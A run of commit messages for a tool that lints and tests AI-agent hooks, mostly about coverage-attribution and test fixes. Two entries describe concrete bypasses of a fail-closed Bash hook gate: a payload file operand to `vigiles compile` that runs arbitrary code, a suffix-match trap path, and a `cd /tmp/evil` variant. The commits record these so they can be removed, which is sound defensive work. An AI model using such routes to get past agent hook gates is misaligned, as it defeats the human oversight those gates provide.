TypeScript repo to `.mjs`. Only a measured `false` changes the answer. An
explicit `testExtension: "ts"` also survives: that field exists to disagree with
detection, and the author may be adding `tsx` in the same commit.
The wiring test simulates Node 20 by overriding
`process.allowedNodeEnvironmentFlags` (a configurable accessor) — without it the
whole gate is untestable on a dev box, since Node 22 strips types natively and
dropping the wiring breaks nothing until CI sees it. Four mutations, each failing
its own assertion: ignore the signal · treat unmeasured as incapable · let it
override an explicit config value · drop the wiring at the call site.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(cli): three commands scanned every repo as Claude Code, and went quiet
`vigiles lint` threads `adapter.layout` into `findUntestedSurfaces`. Three other
callers of the same detectors passed a path alone and got `claudeCodeLayout` by
default:
- `skillTestNudge` (the PostToolUse nudge) — in a Codex repo whose surface is
`.codex/skills/foo/SKILL.md`, discovery returned ZERO surfaces, the edited
skill matched nothing, and the hook said nothing at all, while `lint` in the
same repo reported that skill untested.
- `resolveRecords` (`vigiles test` / `eval`) — resolution matches probes
against DISCOVERED surfaces, so an empty discovery silently dropped every
probe a successful run had earned, and execution coverage never appeared.
- `rankPlugins` (the multi-target `audit` branch) — found by grepping for the
shape of the first two. Single-target `audit` resolves the adapter properly;
the leaderboard branch did not, so a Codex plugin scanned as Claude Code has
fewer discoverable surfaces, nothing to deduct, and sorts UP the board.
None of the three FAILED. Each returned an empty set, and an empty scan reads as
a clean one — which is why the third existed at all.
One resolver now, `harnessLayoutFor`, with the same precedence lint/compile/audit
use (`--harness=` → config `harness` → detect). It does not throw: an unknown
harness name is a hard error where the user typed it, but a hook and a post-run
recorder must not turn a bad config key into a failed edit or a red test run.
`rankPlugins` detects PER DIRECTORY and ignores flag/config on purpose — those
describe the repo you are standing in, not the N vendored dirs being compared.
Covered behaviourally through the real built CLI (a Codex repo now gets the nudge
its own linter gives; a Codex repo stops being credited for a `.claude/` hook; a
Codex command surface is discovered by the board) with the quiet halves on real
input — the Claude Code fixtures still speak, and the SHA-pinned vendored plugins
score number-for-number what a direct Claude-Code scan gives.
Plus a source-level gate: every `findUntestedSurfaces`/`skillTestNudge` call in
`cli.ts` carrying a `basePath` must carry a `layout`. Brace-balanced argument
capture, not a line regex, so a `layout` in a nested object cannot satisfy it.
The fourth call site is the one nobody would write a behavioural test for.
Mutations, each failing its own assertion: drop the layout at each of the three
call sites (and the gate independently catches two of them).
Also inspected and left alone: `scan-behavioral.ts`'s selection-matrix and
stubbed-hook paths, which are gated to `harness === "claude-code"` and expose no
layout parameter to drop; and the site's in-browser demo, which passes the
default layout but also labels its own output `harness: "claude-code"`, so it is
scoped rather than wrong.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* test(coverage): stop asserting a TypeScript suggestion against whichever node ran the suite
CI went red on two assertions that pinned `.ts` while the capability gate they
were testing correctly answered `.mjs`. Both passed on a Node 22 dev box and
failed on CI's Node 20 — where TypeScript genuinely cannot be run and `.mjs` is
the right suggestion. The assertions were testing the runner, not the gate.
Two different fixes, because the two tests reach the capability differently:
- `test-coverage.test.ts` runs in-process, so the "capability restored" half now
SIMULATES support (`asNodeWithStripTypes`, the mirror of the existing
`asNode20`). Both directions are simulated, so each half is deterministic on
any host.
- `cli-untested-options.test.ts` spawns a real `node`, where the capability
cannot be simulated away. It now asserts the PROPERTY the test is actually
about — the suggested path is one THIS host can execute, and the nonsense
`rb` never reaches it — instead of pinning an extension.
Same lesson as the `--experimental-test-isolation=none` probe two hours earlier:
never assert a behaviour that depends on which node picked up the job. Recorded
in both files so the next author meets it where it bites.
2715 passed; the one failure is the pre-existing `a blocking Stop hook forces the
agent to keep working` (this environment's broken TLS proxy).
* fix(coverage): three checks accepted a NAME where a PROPERTY was required
All three are the same substitution, in three places: the presence of a token
taken for the presence of the thing the token names. Reported by Codex; each
reproduced before the fix.
1. `coverage-probe` attributed by TOKEN, not by POSITION. Any script-looking
word anywhere in a command — or anywhere in its env — minted an
execution-tier coverage record. So a passing harness that ran
`cat hooks/pre-edit.sh`, `cp hooks/pre-edit.sh …` or `grep -n x hooks/x.sh`
painted that hook COVERED BY A RUN, with a fresh timestamp, so it never
expired. The command is now PARSED (new `leafArgvSource` in bash-effects,
mvdan-sh) and only executable positions count: a leaf head that is itself a
script, the first non-flag operand of an interpreter, and the word after our
own `hook-runtime run-program`. The env is EXPANDED into the word that
references it instead of scanned alongside the command, so the documented
`runHook('"$GUARD"', …, { env })` idiom still attributes and a fixture path
in the env attributes nothing. A third-party runner shim's operand is an
accepted false negative, and it is named as one.
2. `foreign-runner-tests` accepted a MENTION as evidence of a CALL — a gate
added an hour earlier to fix a false positive, whose "evidence" was a
substring search. An import, a comment forbidding the call, a string
fixture and a mocked property each got the harmful "rename this test"
advice. Evidence is now a call site, found after a lexer blanks comments,
strings and template text. Regex literals are lexed too: the first draft
called them too rare to bother with, and the first real file checked
disproved it — a `.replace(/[.`"']/g, "")` opened a template that ran to
end-of-file and hid a real `measureTriggerRate({` fifty lines below.
3. `runsFromResults` wrote coverage for SKIPPED and VACUOUS runs. A script can
drive a hook and only then discover a missing capability and call `skip()`;
the probes are still attached, and the old deny-list let them through. Now
an allow-list: only `pass` writes. The retraction rule is deliberately NOT
symmetric and stays as it was — a skip must not delete a measurement taken
on a machine that had `claude` — and there is now an assert holding the two
apart so nobody "simplifies" them into one.
Every branch mutation-tested: 21 mutations, each failing its own assert. Four
survived at first and each bought a real test — `sh -c '…'` handed one word,
`xs[0] / a / b`, `split(/[/\\]/)`, and `$(cat cmd) hooks/x.sh`. The quiet halves
run on real input: 514 real source files for the lexer, this repo's own harness
command lines for the probe.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* test(untested): a third assertion pinned an extension to whichever node ran the suite
The control test asserted `.ts` unconditionally. It passes on a Node 22 dev box
and fails on CI's Node 20, where `.mjs` is the correct answer and the capability
gate is working — the same host-dependent shape already fixed twice in this file
and in the sibling suite.
Fixing it exposed a second, quieter hole: the two config tests configured `mjs`,
which on Node 20 is ALSO what detection produces, so they could not fail there —
they proved the option travelled only on a TypeScript-capable host. The
configured value is now chosen to differ from the detected one on every host
(`mjs` where detection says `.ts`, `cjs` where it says `.mjs`).
Both branches measured on real runtimes rather than reasoned about: Node 20
suggests `demo.eval.mjs` unconfigured and `demo.eval.cjs` when configured;
Node 22/24 take the TypeScript branch. Node 24 also checked for the underlying
predicate — `--experimental-strip-types` is still accepted there
(`process.features.typescript === "strip"`), so the capability probe stays correct.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix: six review findings — three lexical shapes taken for the property they name
Codex review of `05131c3`/`2c78a2c`. All six reproduced before fixing; every fix
has a test with both halves (fires on a planted defect, quiet on clean input) and
was mutation-checked by reverting it.
1. foreign-runner-tests: a DEFINITION is not a call. After `stripNonCode`, a bare
`name\s*\(` matched `function runEval() {}` and `class Fake { runEval() {} }`,
so a surface-local test that merely declares a helper was told to rename
itself. Matches now go through `isCallSite` — a definition keyword before the
name, or a matching `)` followed by `{` (optionally past a TS return type).
Same substitution as the round before, one level in.
2. cli: `--harness=` never reached coverage discovery. It is a SHARED flag and
`resolveHarnessSelection` ranks it above config and auto-detect, but
`resolveRecords` called `harnessLayoutFor(cwd, loadConfig())` — so
`vigiles test --harness=codex` resolved this run's probes against the wrong
layout and silently recorded nothing.
3. coverage-probe: an option's VALUE is not the entry script. `node --loader tsx
hooks/x.ts` selected `tsx`; `node --require setup.js app.js` selected the
preload. Value-taking and no-script-at-all interpreter options are parsed
before the entry is chosen, without regressing "a script the command READS is
data" (`ruby -S` is deliberately excluded, `python -m` attributes nothing).
4. scan + plugin-loader: a directory symlink was followed. `.claude/skills/self
-> ..` made the LOADER throw `ELOOP` out of the whole audit, and made the
surface walk report every file once per lap (82 file keys instead of 3). One
shared `entryKind` (`fs-walk.ts`) now refuses to descend into a symlinked dir
— both walks, because fixing one of a pair has broken this repo before.
5. lethal-trifecta: the skill fence is a Claude Code mechanism. On a Codex repo
every skill was scored against Safety with the remedy "add `disallowed-tools:`"
— a key Codex does not read and our own compiler drops under its
`skillFrontmatter: "minimal"` profile. Gated on the dialect record that already
says this; no new capability flag.
6. doc-commands: fences are CommonMark's. Any `^\s*``` ` line toggled, so a
four-backtick block wrapping a ``` example closed early — commands in the tail
went unchecked and the prose after it was judged as commands. Delegated to
`core/markdown.ts` (markdown-it), which also brings `~~~`.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(fs-walk): one stat answers both questions, so the dead catch is gone
CI's 100% coverage gate failed on `plugin-loader.ts` line 179 — the `catch` of a
second `statSync` used only for the size cap. The line is UNREACHABLE: the entry
was already classified as a file by a successful stat, so reaching that catch
needs the file to vanish between two consecutive calls. Covering it with a test
would have been mocking a race to satisfy a gate; the gate was right and the
construction was wrong.
`entryKind` becomes `entryOf`, returning the kind AND the size from the stat it
already performs. The loader compares the size it was handed, the second syscall
and its unreachable failure path are gone, and `scan.ts` destructures the kind it
already used. A non-file reports size 0 rather than something a size comparison
could accidentally accept.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix: five review findings — four guarantees pinned on one side only
Every one is the same shape: a rule stated for one half of a pair and left
unstated for the other. Fixed with both-halves tests, each mutation-checked.
1. coverage-artifact — a record names TWO files, only one was pinned
The surface is hashed, the SCRIPT that did the executing was not, so a
deleted or renamed harness kept granting execution coverage forever:
freshness keys on the surface's text, and a file that is gone can never
re-enter the retraction set, so no future run can withdraw it. `indexRuns`
now counts a record only while BOTH files are present. Chose PRESENCE over
hashing the script: an emptied-but-present script is already retraction's
job (a `vacuous` re-run drops it), while one script legitimately covers many
surfaces — hashing would invalidate thirty records for one reformat and
cannot tell "strengthened" from "gutted". The `skip` asymmetry is untouched:
this deletes nothing, it is a read-time judgement about a checkout.
2. test-coverage-files — the browser twin hard-coded the name `"SKILL"`
A single-skill repo declaring `name: foo` was covered by `foo.harness.mjs`
on disk and untested in the file-map engine. Third divergence in this PR, so
the parser moved to the shared `coverage-evidence.ts` and both twins call it.
The parity gate missed it because no vendored fixture has a root SKILL.md —
the branch was executed by NEITHER engine. Closed with three built fixtures
(declared name, misnamed harness, no declaration) plus a correctness
assertion, since parity is agreement and not correctness.
3. foreign-runner-tests — `scriptModel` was intent, not property
Justified as "exists only to be handed to one of them" inside a list whose
warrant is that the CALL spawns an agent. Both implementations are pure (a
copied array; a closure). A surface-local test that only builds a scripted
model was told to rename itself out of its runner. No recall lost: a file
that scripts a model and runs it names the runner.
4. coverage-probe — one option table cannot hold two grammars
Measured: `python3 -I x.py` runs (consumes nothing), `ruby -I dir` consumes.
With `-I` shared, python's hook path was eaten and a passing run earned no
coverage. Tables are now per interpreter family, which also resolves `-E`
(python/ruby/perl disagree three ways) and `-p` instead of documenting it.
5. scan / plugin-loader — the symlink policy skipped every walk's entry point
Roots went straight to `readdirSync`, so `skills -> ..` re-entered the whole
checkout and both walks' containment promise held everywhere except the top.
A root gets a DIFFERENT rule from an inner entry, deliberately: a shared
skills dir linked in from outside is an ordinary layout, and refusing it
would silently report zero skills. So a root symlink is followed unless its
target CONTAINS the scanned root; everything below still goes through
`entryOf`, so exactly one hop is taken and cycles remain impossible by
construction. Applied at all four entry points.
Gates: build, api:check, prettier clean; lint 0 errors / 201 warnings (two
BELOW the 203 baseline — the plugin-loader refactor removed two); vitest
2759 passed with only the known environmental `harness-test` failure; coverage
100% statements/functions/lines, branches 94.09%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix: four review findings — one false grant, one table gap, two stale claims
Round ten. Smallest change per finding, no new case analysis: the two
regressions of the last rounds both came from a new table missing an entry, so
the one table touched here is completed from the vendor's own `--help` and the
one place that wanted a per-harness branch deliberately did not get one.
1. run-script — the coverage probe ran BEFORE the spawn (P1, false grant)
`runEgress` throws when the allowlist sandbox is missing, and
`runConfinedOrDirect` throws when confinement was required and bwrap is
absent. Both throw before any spawner. A harness asserting exactly that
refusal — `assert.throws(() => runHook(untrusted…))`, a documented test —
caught the error, exited 0 with a check recorded, and the runner wrote
execution coverage for a hook that never ran. The probe now follows the
spawner's return. LAUNCHED, not succeeded: exits 1 and 2 still attribute, and
the test loops over 0/1/2 so nobody tightens it to a zero exit. `recordCheck`
deliberately stays before — a refusal IS a check, and demoting it to
`vacuous` would retract that script's other records.
2. coverage-probe — bash `-O` ate the hook path
`bash -O extglob hooks/pre-edit.sh` selected `extglob`, which fails
SCRIPT_RE, so a hook that ran was attributed to nothing. How the shell entry
was decided complete is now in the comment: `bash --help` (5.2.21) prints the
whole invocation grammar, and its only value-takers are `-c`, `-O`/`+O`,
`-o`/`+o`, `--rcfile`/`--init-file`. The same enumeration surfaced five
parse-only flags (`-n -D --dump-strings --dump-po-strings --pretty-print`,
each verified against the real binary to print nothing) whose absence was a
false GRANT — the expensive direction — so they join `withoutScript` beside
node's `--check`. The whole-word limit (`bash -en x.sh`) is asserted rather
than described; it is pre-existing.
3. test-coverage — the firing nudge named an unrunnable remedy
Real, but NOT for the reason given: the cited `docs/harnesses.md` line is
itself stale (see 4). `codexEvalDriver` IS exported and in the API surface,
so the tier is reachable. The actual defect is worse than "cannot run":
`measureTriggerRate(spec)` falls back to the DEFAULT driver, so on a Codex
repo the old wording did not fail — it measured a different harness and
reported a number. The message now names `{ evalDriver }`. Deliberately not a
capability flag: that is the table-that-misses-an-entry shape this round
warned about, and the sentence is true for every harness, so there is no case
analysis and no fourth adapter to remember.
4. docs — `*.test.*` was still documented as feeding Tested (merge-blocking)
Swept every public surface, not just the file named: docs/cli.md (which
contradicted itself — line 89 already said `never *.test.*`),
docs/non-js-harnesses.md, and the metric's own comments in audit-score.ts,
scan.ts, test-coverage.ts and foreign-runner-tests.ts. Added an explicit
MIGRATION section to docs/rules/untested-skill.md: the rename spelled out
(`foo.test.mjs` -> `foo.harness.mjs`), and why a rename rather than pointing
`testGlobs` back — a third-party runner's defaults collect `*.test.*` and a
harness test spawns an agent, so restoring the number would keep the file
being collected and possibly spending model budget. Also corrected the stale
Codex line in docs/harnesses.md: trigger-rate IS public (experimental),
`runEval` genuinely is not (`runEvalWith` is unexported).
New `src/tested-metric-docs.test.ts` closes the class: a doc defect is not a
code defect and nothing could catch it. It asserts the behaviour against the
real detector (including that the prescribed rename works) AND greps the
corpus for the retired claim shape, quiet on all of it today and firing on
the verbatim pre-fix sentence.
Gates: build, api:check, prettier clean; lint 0 errors / 201 warnings (baseline);
vitest 2765 passed with only the known environmental harness-test failure;
coverage 100% statements/functions/lines, branches 94.09%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(hook-program): the recovery escape's OPERAND was the payload
Round 3 on the same door, and this time the shape was not the problem — the
door's contract was. The executable check from last round is correct; the
ARGUMENT was unconstrained. `vigiles compile /tmp/payload.spec.ts` reached
`compile`, which hands the operand to `loadSpec`, which `await import()`s the
dist candidate and, failing that, shells out to
`npx tsx -e 'import("<operand>")'` (verified by reading cli.ts, not assumed).
Arbitrary top-level code, executed by the fail-closed gate's own escape while
the gate is refusing everything else.
The design question, answered before the code (and written into the comment):
- The minimum repair is NOT always bare. Bare `vigiles compile` compiles what
the repo declares (`findSpecs()` + `discoverHookFiles(cwd)`), which is enough
for hooks under `.vigiles/hooks/` — but the product's own refusal messages
print `vigiles compile <file>`, and for a stale stamp on a hook outside that
dir the operand form is the only thing that repairs it. Forbidding all
operands would have rejected the command the tool just told the user to run,
which is how a gate gets disabled outright.
- So the escape takes zero or one operand, and the one must EQUAL the file the
runtime was invoked with (`hook-runtime run-program <file>`) — repo-owned
config from the compiled hooks block, never event data. The event can only
echo the one path the repo already named.
- "Inside the repo" was rejected explicitly as unsound: a checkout holds
attacker-writable paths in plenty of workflows, and `loadSpec` imports
whatever it is pointed at.
🔴 `samePathRef` is deliberately NOT reused. It matches by SUFFIX — correct for
the Edit escape, catastrophic here: `/tmp/evil/.claude/hooks/guard.hook.ts`
suffix-matches the reported hook and would have been imported. Grabbing the
nearby helper is how this door was widened before, so the operand gets its own
exact comparator. (The Edit escape's own use of `samePathRef` is left alone —
it writes a file rather than executing one, and the looseness is load-bearing
for absolute-vs-relative `file_path`. Noted, not changed.)
`isRecoveryEvent` gains an optional `hookFile`; absent, NO operand is accepted,
so a caller that cannot say which file is being repaired fails closed. `cli.ts`
threads the file it already has.
The recovery path is stated in the comment so nobody rediscovers it by trial
and error: copy the command the refusal prints · bare compile for
`.vigiles/hooks/` · `git merge --abort` for a broken load path · and Edit/Write
never go through the Bash gate at all.
Tests, both halves, in the unit tier AND against the real runtime
(`hook-load-wedge.test.ts`, where the previous two rounds were verified):
the reported payload shape is denied, so are the in-repo path, the suffix trap,
a smuggled second operand and a flag; every genuine recovery command still
passes. Pre-existing tests that used an operand were rewritten — several would
have kept passing for the wrong reason.
Four mutations, each failing on its own assertion: pre-fix (any argument) fails
the payload test in both tiers; too-strict (no operand ever) fails "or the repo
has no way out"; reusing `samePathRef` fails on the suffix trap.
Gates: build, api:check (no drift), prettier clean; lint 0 errors / 201
warnings (baseline); vitest 2768 passed with only the known environmental
harness-test failure; coverage 100% statements/functions/lines, branches 94.09%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(hook-program): delete the executing escape instead of constraining it again
Round 5 on the same door. P1a (`/tmp/vigiles compile`) and P1b (`cd /tmp/evil &&
vigiles compile`) are both real — and I did NOT fix them as stated, because the
pattern says the constraint approach is wrong: `.some()` over leaves → the
operand → the executable path → the working directory, four correct fixes each
followed by another. The escape was trying to recognise a trusted ACTION from an
untrusted STRING, and a string's degrees of freedom (argv, cwd, PATH,
node_modules resolution, config discovery, shell state) are unbounded.
Two measurements settled it, both now asserted as tests rather than remembered:
1. STALE-STAMP WEDGE — writing `{}` into `.vigiles/hooks/<name>.json` (or
deleting it) makes the runtime load the hook again, and it comes back
ENFORCING (`ls` passes, `git push --force` still denied with the hook's own
reason). The repo is unwedged by a FILE WRITE, and file tools were never
gated by a Bash gate. So the compile command was never needed here.
2. LOAD WEDGE — with `package.json` holding conflict markers,
`vigiles compile <hook>` exits 1: `Cannot load hook …: Invalid package
config`. It loads the hook through the same resolver that just failed, so
it could never repair the state the escape admitted it FOR.
The command bought nothing and cost four vulnerabilities, so the primitive is
gone rather than constrained a fifth time. Deleted, not left dormant:
`isCompileLeaf`, `sameOperandPath`, `vigilesExecIndex`, `RUNNER_PREFIXES`,
`RUNNER_VALUELESS_FLAGS`, `isVigilesToken`, and the `cd` "neutral leaf" category
— 222 lines out, 100 in, and `grep` finds zero references to any of them.
What is left cannot execute repo code:
- `isStampRepairEvent` is now purely a FILE WRITE — the hook's own source, or
its stamp sidecar. Both repo-owned paths derived from the file the runtime
was invoked with, never from the event. (`samePathRef`'s suffix tolerance is
correct for a write and was wrong for an exec; with the exec gone, so is the
reason to be exact.)
- `isRecoveryEvent` is git-only: `merge --abort`, `rebase --abort`,
`checkout -- <path>`. Each moves the tree back to something git already
holds. This family has produced zero findings in five rounds.
- `cd` is no longer neutral. It was whitelisted as "produces no effect of its
own", which is backwards: the cwd decides which node_modules, config and
files a command resolves. P1b dies by construction, not by analysis.
Recovery stays possible and is now discoverable — the stale-stamp refusal prints
the exact sidecar path and says plainly that the way out is a write, not a
command; the load refusal says `vigiles compile` is not allowed AND would not
help, with the reason. Public docs (docs/compiled-hooks.md) rewritten to match,
including why the command was removed.
P2 (`bun run hooks/x.ts` attributed nothing) fixed as stated: bun and deno put a
verb before the file while sharing node's OPTION grammar. Every head in
INTERPRETER_FAMILY was checked for a subcommand form — the shells, python, ruby,
perl, tsx and ts-node have none, and node's `--run` is a flag over package.json
scripts — so the list is exactly {bun, deno}. Only `run` is modelled; the other
verbs (`deno check`/`cache` read without executing) stay unmodelled, where a miss
costs silence rather than a false grant.
Mutations, each failing on its own assertion in both the unit and real-runtime
tiers: restoring a compile leaf + `cd` neutrality; dropping the sidecar write
escape (recovery becomes impossible); reverting the refusal message; emptying
RUN_SUBCOMMAND_HEADS; dropping its head restriction.
Gates: build, api:check (no drift), prettier clean; lint 0 errors / 201 warnings
(baseline); vitest 2766 passed with only the known environmental harness-test
failure; coverage 100% statements/functions/lines, branches 94.09%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage-probe): invert the direction — attribute what is recognised, not what is left
Both P2s are real and both are FALSE GRANTS. Fixed, but the round was spent on
the question behind them, because this file has produced findings in five rounds
and every one had the same shape.
## Can the executor report what it executed? Measured, not assumed.
NO for the subprocess tier, and structurally so. `runHook`/`runScript` take a
COMMAND STRING and hand it to `spawnSync(cmd, { shell: true })` — vigiles never
resolves a path, `sh -c` does, so there is nothing to report back. The corpus
confirms there is often no path to report at all: this repo's own examples pass
inline program TEXT (`CMD=$(cat | jq -r …); case …`, `node -e '<source>'`) in
which no file is named by anyone. That contract is the feature — it is how you
test a hook you did not write, verbatim as its plugin ships it.
YES for the in-process tier, which is a real gap I am reporting rather than
fixing here: `loadHook(file)` resolves the path itself, and `harness-assert.ts`
and `load-hook.ts` contain ZERO `recordSurfaceProbe` calls. The one tier where
attribution needs no parsing is the tier that attributes nothing. It would ADD a
source of truth, not retire this one, so it deserves its own round.
## So parsing stays, and the DIRECTION changes.
The scan was a deny-list — skip what we recognise, attribute what is left — so
every gap in every table became a false grant. Where the grammar cannot be
closed, it is now inverted: attribute only what is positively recognised.
(a) BUNDLED CLUSTERS. `bash -en hooks/pre.sh` / `bash -nc hooks/pre.sh` carry
bash's `n` ("Read commands but do not execute them"), but neither is a whole
word in any table, so the generic `-` skip walked past it and the path became
the entry. A cluster is now attributed only when EVERY letter is accounted
for, from the complete `bash --help` letter set; an unknown letter abstains,
because it might be another `n`. Only shells are modelled — bash publishes
its invocation letters, the others do not, and inventing one from memory is
what keeps biting. A bundle under any other family abstains
(`python3 -EsI x.py` now attributes nothing; the unbundled spelling still
works). This also FIXES the silence half: `bash -euo pipefail hooks/x.sh` —
the commonest launch shape there is — attributed nothing before and now
resolves correctly.
(b) `run-program` was a free-floating keyword searched across the whole argv, so
`echo run-program hooks/pre.sh` recorded coverage for a hook `echo` merely
printed. It is now a command SHAPE: `hook-runtime` immediately followed by
`run-program`, owned by the token before it being `vigiles` itself or the
entry script the line already resolved. Every form the installer and our own
harnesses emit still works; the words in someone else's mouth do not.
## Calibration point, recorded because it was mine
Last round I found the whole-word limit myself, measured only its silence
direction (`bash -euo pipefail`), and filed it as harmless and pre-existing. It
also had a false-grant direction, which is the expensive one, and the bot found
it. "This limit costs silence" needs checking in BOTH directions before it is
filed as harmless. The two assertions that encoded that wrong conclusion are
deleted rather than adjusted — both cases are now correct.
Mutations, each failing on its own assertion: revert the cluster handling to the
generic skip; treat an unknown letter as safe (the deny-list direction); revert
`run-program` to a free-floating scan.
Gates: build, api:check (no drift), prettier clean; lint 0 errors / 201 warnings
(baseline — one added by the fix, then removed by flattening the dispatch);
vitest 2768 passed with only the known environmental harness-test failure;
coverage 100% statements/functions/lines, branches 94.09%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix: three false-grant/false-positive findings, each verified by RUNNING it
All three are the same failure direction — a lexical shape taken for the
property it resembles — and all three outputs below were produced by executing
the built module, not reasoned about.
1. `foreign-runner-tests.ts` — a bodiless TYPE MEMBER was reported as a CALL.
`returnTypeThenBody` stopped at the `;` and "no body" was read as proof of a
call, so a pure type-level test was told to rename itself out of its own
vitest run. Measured before the fix — and it was TWO shapes, not one:
agentDrivingApi("interface Runner { runEval(o: Opts): void; }") → "runEval"
agentDrivingApi("type R = { measureTriggerRate(o: O): Promise<number>; };")
→ "measureTriggerRate"
`):` now abstains outright: of the three shapes a `)` followed by `:` can be,
two are definitions and only a ternary is a call. `returnTypeThenBody` and
ANNOTATION_WINDOW became unreachable and are deleted.
🔴 I had listed this exact case in a round-6 report as a deliberate miss
"toward silence". It was never silent; it fired. That is the second round
running where a safety claim of mine was plausible, load-bearing, written
down and never executed. Every such claim in this file is now an assertion
with the measured output beside it, not prose.
2. `bash-effects.ts` `leafArgvSource` — a SYNTACTIC leaf is not an executed
command. It walked every CallExpr, so `false && bash hooks/pre.sh` and
`true || bash hooks/pre.sh` credited a hook the shell never runs, and the
probe is persisted for a passing script. The tree is now DESCENDED, only
through positions whose children always execute: statement lists, both sides
of a PIPELINE, subshells, blocks, and the LEFT of `&&`/`||`. Everything else
— if / while / for / case / function bodies — is not entered, which closes
the whole family rather than the two reported instances.
⚠️ MEASURED COST, stated: `cd /repo && bash hooks/x.sh` now attributes
nothing. `runHook(cmd, event, { cwd })` is the replacement and is what this
repo's own examples already use. The old expectation is updated in place with
that note rather than deleted.
3. `foreign-runner-tests.ts` — the `.eval.` INFIX over-fired. `parser.eval.test.ts`
was declared to burn model budget while not matching
`**/*.eval.{ts,mts,cts,js,mjs,cjs}`, the glob that decides what `vigiles eval`
runs. Now the same suffix as discovery. The infix was right where it came from
(`partitionTests` splits already-discovered files); copying it here carried it
past its premise. Consequence worth recording: `eval-name` evidence is now
reachable only through jest's `__tests__/` rule, because a name eval discovery
accepts is never a name a suffix-based runner collects — pinned by test.
## Structural verdict (asked for instead of a fourth patch)
The evidence scheme IS deny-list shaped, and the class is still live. Measured
after the fix — five more shapes fire, all bodiless members with no return type:
interface R { runEval(o); } → "runEval"
type R = { runEval(o); }; → "runEval"
class C { runEval(o: A); runEval(o: B) {} } → "runEval"
declare module "x" { interface I { runEval(o); } } → "runEval"
type R = { runEval(o), other: 1 }; → "runEval"
No rule over the token after the parameter list can separate these: `runEval({});`
is `)` followed by `;` too. The discriminator is whether the match sits in a type
body. Two inversions were considered and both measured:
1. a TS-aware parse — correct, forbidden by the byte-parity constraint;
2. require a RUNTIME import from a vigiles specifier — separates every false
positive AND every true positive tried, then MISSES this repo's own
agent-driving examples, which import `"../../dist/harness-assert.js"` (4 of
4 checked scored zero). Trades a bounded false-positive class for an
unbounded false-negative one.
So it is recorded in the module with the inputs and outputs, and NOT patched
case-by-case — that is what produced this series.
Mutations, each failing on its own assertion: restore the returnTypeThenBody
negation; restore the eval infix; descend the RHS of `&&`/`||`; abstain on
pipelines too (the over-correction).
Gates: build, api:check (no drift), prettier clean; lint 0 errors / 201 warnings
(baseline); vitest 2771 passed with only the known environmental harness-test
failure; coverage 100% statements/functions/lines, branches 94.09%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(foreign-runner): blank TYPE BODIES as a region — the class closes, parity intact
Your third option works. No parity change, no dependency, no seventh special
case: `stripNonCode` gains one more region kind, run as a second pass so brace
counting happens after quotes and comments are already gone.
## 1. Does it kill the five shapes? Yes — and a sixth I found while testing.
interface R { runEval(o); } → undefined (was "runEval")
type R = { runEval(o); }; → undefined (was "runEval")
type R = { runEval(o), other: 1 }; → undefined (was "runEval")
declare module "x" { interface I { runEval(o); } } → undefined (was "runEval")
interface X<T extends { a: 1 }> { runEval(o); } → undefined (found in test)
`declare` is NOT a keyword this scans for, deliberately: the ambient cases close
through the `interface` inside them (measured), while `declare const x: T` with
no semicolon would send the body search into the next function.
## 2. Does it keep every true positive? Yes — 22 shapes, zero lost.
Including the two you named, which a naive brace-blanker eats:
const s = `${runEval(x)}`; → runEval
const s = `a${`b${runEval(x)}`}c`; → runEval
class F { run() { return runEval({}); } } → runEval
const o = { run: () => runEval({}) }; → runEval
And the overshoot direction, which is where I expected to fail: without a bound,
a semicolon-less `type A = string` runs on into the next function's brace and
eats a real call. The bound is "anything may sit on the keyword's own line; once
a newline is crossed the next significant character must BE the `{`". With it:
type A = string\nfunction f() { runEval({}); } → runEval
declare const x: T\nfunction f() { runEval({}); } → runEval
const type = { run: () => runEval({}) }; → runEval
obj.interface = { run: () => runEval({}) }; → runEval
interface R { a: 1\nawait runEval({}); → runEval (truncated source)
`type` is not a reserved word, so it also needs to be followed by an identifier;
`obj.interface` needs the `.` lookbehind. Both are pinned by mutation — the first
version of these tests did NOT catch either guard, and I added the cases that do.
## 3. What it still misses, run rather than asserted
agentDrivingApi("class C { runEval(o: A); runEval(o: B) { return 1; } }")
→ "runEval"
A class body is the one region that cannot be blanked: it holds real method
bodies, and a call inside one is a true positive above. Telling an overload
signature from an expression statement needs to know the enclosing brace is a
class body — the context this lexical layer does not carry. Documented with the
reproducing input, and it is the only one left.
Mutations, each failing on its own assertion: no type-blanking; no newline bound;
no type-identifier guard; blank class bodies too; no dot lookbehind.
Gates: build, api:check (no drift), prettier clean; lint 0 errors / 201 warnings
(the blanker first added 4 — complexity and nesting — then flattened into
`namesAType` / `matchingBrace` / `blankBodies` to return to baseline); vitest
2771 passed with only the known environmental harness-test failure; coverage 100%
statements/functions/lines, branches 94.09%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
